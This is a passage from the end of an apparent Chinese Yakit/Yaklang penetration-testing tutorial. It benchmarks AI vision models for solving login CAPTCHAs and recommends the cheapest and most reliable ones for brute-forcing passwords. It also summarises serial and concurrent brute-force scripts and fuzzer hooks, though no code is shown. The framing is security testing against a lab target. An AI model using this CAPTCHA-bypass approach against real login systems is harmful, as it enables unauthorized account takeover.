2.kimi-k2.5 跑 1000 次要 ¥5.71,是 flash 系列的 10 倍。倍数的来源:单价贵 6 倍($0.383 vs $0.065 输入),单次成功率只有 flash 的一半(35.02% vs 57.49%),两者相乘就是 10 倍。再叠上每次 10 秒的延迟,工程上不值。
3.VL-Plus 和 Plus-no-thinking 夹在中间。VL-Plus 单价是 flash 的 3~6 倍,耗时更长,1000 次 ¥2.37;Plus-no-thinking 单次成功率只比 flash 高 0.04 pp,但单价贵 6 倍,1000 次 ¥3.25。花 6 倍的钱换统计噪声里的 0.04 pp,工程上不划算。
性价比排序:
flash 系列 ≫ VL-Plus ≈ Plus-no-thinking ≫ VL-Flash ≫ Kimi K2.5
YAK
重试之后的累积成功率
单次成功率看起来都不算高(最高 57.53%,最低 35.02%)。但回到前面那个公式:

把六个 P代入,得到 1~6 次累积成功率:

几个观察:
只要单次成功率到 55% 以上,6 次重试就稳定在 99%+。1000 个密码最多 6~10 个会因连续失败漏掉,这个比例在爆破场景完全可以接受。
Kimi k2.5 6 次累积只有 92.47%,想摸到 99% 要重试 8 次以上。叠上每次 10 秒的延迟,一个验证码平均要花 63 秒,吞吐量基本不可接受。六个模型里唯一"重试也救不回来"的。
3.5-flash 和 3.6-plus-no-thinking 6 次后都能到 99.41%,重试友好型并列第一。
七、结论与选择建议
综合单次成功率、耗时、稳定性、价格四个维度:
整体最推荐:
memfit-qwen3.6-flash-free。单次 56.90%、平均 1226 ms、P95 1970 ms,6 次重试 99.36%,1000 次成功 ¥0.58。四项指标同时到一线的只有它一个。成本最敏感:
memfit-qwen3.5-flash-free。表现和 3.6-flash 等价(57.49%、1364 ms),1000 次 ¥0.57。单次精度优先、对成本不敏感:
memfit-qwen3.6-plus-no-thinking-free。57.53% 只比 flash 高 0.04 pp,1000 次 ¥3.25,6 倍价差买回来的差距在统计噪声里。场景明确要求"一次就打准"才值得。最快出结果、命中率无所谓:
memfit-qwen3-vl-flash-free。平均 1178 ms,墙钟最短,48.33% 的单次成功率靠多次重试兜底,1000 次 ¥0.67。不推荐:
memfit-qwen3-vl-plus-free。准确率中等 54.79%,延迟最高 P95 3435 ms,1000 次 ¥2.37。三个维度同时落后。不要用在验证码识别:
memfit-kimi-k2.5-free。35% 单次成功率、10 秒耗时、1000 次 ¥5.71(flash 的 10 倍)。窄域 OCR 这种场景里,大模型的通用推理能力反倒成了拖累。
YAK
关于默认模型 memfit-vision-free
热加载代码里我们一直写的是 ai.model("memfit-vision-free")——aibalance 网关上暴露的默认验证码识别模型。这里说一句实现细节:
memfit-vision-free 在服务端为了平衡使用效果和成本,底层复用了 qwen3.5-flash。
也就是说,直接沿用前面热加载代码、不显式切换模型,得到的就是上面表里 memfit-qwen3.5-flash-free 那一行的表现:单次 57.49%、平均 1364 ms、6 次重试累积 99.41%。默认值挺稳,绝大多数场景不用手动换。
目标验证码明显更难、或想把延迟压到更低的读者,回到上面五条建议里挑一条切换即可。Benchmark 脚本可以原样复用,--model 换掉就行。
跑完这轮 Benchmark 笔者的体会:在"图进、四字符出"这种窄域任务上,选专门优化短输出延迟的 flash 系列小模型就够用。模型越大越好的直觉在这里不成立,硬上 kimi k2.5,准确率、耗时、账单三项会同时变差一个数量级。
前面设计的 beforeRequest + retryHandler 两钩子闭环,在 flash 系列任意一个模型下都能稳定兜住 99% 的有效识别率。模型选择只影响爆破速度和预算。
YAK
总结
在本文中,我们以验证码保护的登录表单为案例,走过了一条完整的渗透测试思路链:
1.发现逻辑漏洞。通过实战测试,我们发现了靶场验证码的一个逻辑漏洞——验证码使用后未被删除,可以无限复用。这种漏洞在真实场景中并不少见,AI 只需识别一次就足以完成全部爆破。
2.面对安全实现。当验证码被正确实现(每次提交后立即作废)时,我们编写了基础版(串行)和进阶版(并发)两个爆破脚本。串行版逻辑清晰,适合理解流程;并发版利用 sync.NewSizedWaitGroup 多 worker 并行,大幅提升效率。
3.Web Fuzzer 热加载方案。把验证码识别逻辑封装到 beforeRequest 中,配合 Yakit GUI 直接使用,适合需要灵活调整参数的场景。
4.Benchmark 验证。用数据证明了 AI 识别验证码的可靠性,给这个方案提供了信心基础。
整个方案的核心就是 ai.FunctionCall 这一个函数调用。不用部署 Python 环境,不用买接码服务,Yakit 中配好 AI 网关就可以直接用。
当然,验证码只是 AI 在渗透测试中的一个切入点。ai.FunctionCall 能做的事情还有很多——比如从 JavaScript 代码中提取 API 路径、从页面内容中识别敏感信息、从错误响应中提取数据库类型。凡是需要"从一段内容里按格式提取信息"的场景,都可以用类似的思路来处理。
工欲善其事,必先利其器。笔者相信,在跟着本文完成了验证码识别这个流程之后,大家对 Yaklang AI 模块的使用一定已经更加得心应手了。
END
YAK官方资源
Yak 语言官方教程:https://yaklang.com/docs/intro/Yakit 视频教程:https://space.bilibili.com/437503777Github下载地址:https://github.com/yaklang/yakitYakit官网下载地址:https://yaklang.com/Yakit安装文档:https://yaklang.com/products/download_and_installYakit使用文档:https://yaklang.com/products/intro/常见问题速查:https://yaklang.com/products/FAQ


夜雨聆风